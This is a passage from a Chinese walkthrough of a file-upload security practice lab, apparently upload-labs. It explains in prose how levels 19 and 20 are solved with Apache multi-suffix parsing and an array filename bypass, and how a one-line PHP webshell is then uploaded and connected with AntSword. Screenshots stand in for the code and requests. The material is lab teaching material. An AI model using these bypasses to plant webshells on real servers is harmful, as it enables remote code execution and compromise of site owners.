5. 然后将其后缀抓包修改为php.ppt,多次上传然后进行访问,两个同时进行,然后再设置不同的线程,访问线程可以大一些:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741350970478-d1f35630-86d9-4bdf-8483-6031ab38fe63.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741350974824-76574620-944b-45ff-acbf-63304d77dd67.png)上传:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741350987323-ce5cd7b2-6e2d-4ebe-b89f-6728ebac6a17.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741350991762-3040bc87-6710-4af4-a5cf-3b379c5b51f5.png)直到访问线程出现200 :![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741351031225-b4f20b0b-de8a-49a3-b81b-70b5062e5014.png)连接:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741351041904-6ac6d61e-0467-49ca-a9fb-c4a3c60c74a2.png)
  1. pass 19:
    1. 漏洞描述:apache解析漏洞,Apache在解析文件后缀的时候如果有多个后缀的话,会从右往左进行解析,如果最右边的无法进行解析,那么就将继续往左,例如muma.php.7z,如果Apache某些特定版本无法识别,那么就会继续向左,解析为PHP文件
    2. 审计代码,发现他是这样的,先对文件后缀名进行合法化检验,如果不在黑名单里面,就对文件进行: https://i-blog.csdnimg.cn/img_convert/519bed54cd2ac77313e9e35dd008de05.png 移动,这里的文件保存名字很危险,是可以用户自己设置的,于是乎,就可以利用Apache文件解析漏洞,上传多后缀的文件名 ,造成解析问题,然后让PHP代码进行执行。于是我们上传一句话木马,首先将木马的后缀名字改为jpg,然后将文件进行上传,在进行保存的时候,将文件保存名字改为.php.jpg后面进行访问,蚁剑连接成功: https://i-blog.csdnimg.cn/img_convert/516ddf0aa3f71f9c098de76608a530df.png
  2. pass 20 :
    1. 漏洞描述:绕过数组后缀的判定,执行PHP代码
    2. 题目核心代码分析:
      https://i-blog.csdnimg.cn/img_convert/15bfbc0f1d26d90a9eb90d3cde744e17.png
      第一块主要内容是判断保存文件名是否进行传值,如果进行了传值,那么就将文件名变量设置为保存文件名,第二块:如果文件名变量不是一个数组的话,就通过句号进行分割,并将其转换为一个数组,第三块也是最重要的一块,文件最终的名字保存为数组中第一个元素和有效元素位置 -1位置的元素的结合,
      **<font style="color:rgb(251, 71, 135);background-color:rgb(242, 247, 255);">reset($file)</font>**
      这个函数将数组 <font style="color:rgb(251, 71, 135);">$file</font> 的内部指针重置到数组的第一个元素,并返回该值。 漏洞的位置在第三个方框那里,count函数的意思是返回数组中不为空null的元素的个数,那么就可以利用这个来进行绕过,$ext得到的数组最后一个元素。基于此,我们可以通过这样的方法绕过 上传文件名比实际文件后缀名要多,并且最后一个文件后缀为jpg或者其他白名单里面的就可以,这样有效位置-1 就为null,这时只要将文件名数组的第一位设置为php.即可,由于服务器在解析的时候会自动删除. 这样就可绕过对不是数组后缀的处理。
    3. 步骤:先上传一句话木马,然后进行抓包: https://i-blog.csdnimg.cn/img_convert/0f32f1a3abdb103c40ae31c4a58ce3ca.png 这里修改了content_type的原因是绕过前面的meme类型判断: https://i-blog.csdnimg.cn/img_convert/137fc0feee3aac34a21cd24aae63c778.png 返回显示文件上传成功:进行访问使用蚁剑连接是OK的: https://i-blog.csdnimg.cn/img_convert/bd8729eeb1c688bc9793dc2655b00910.png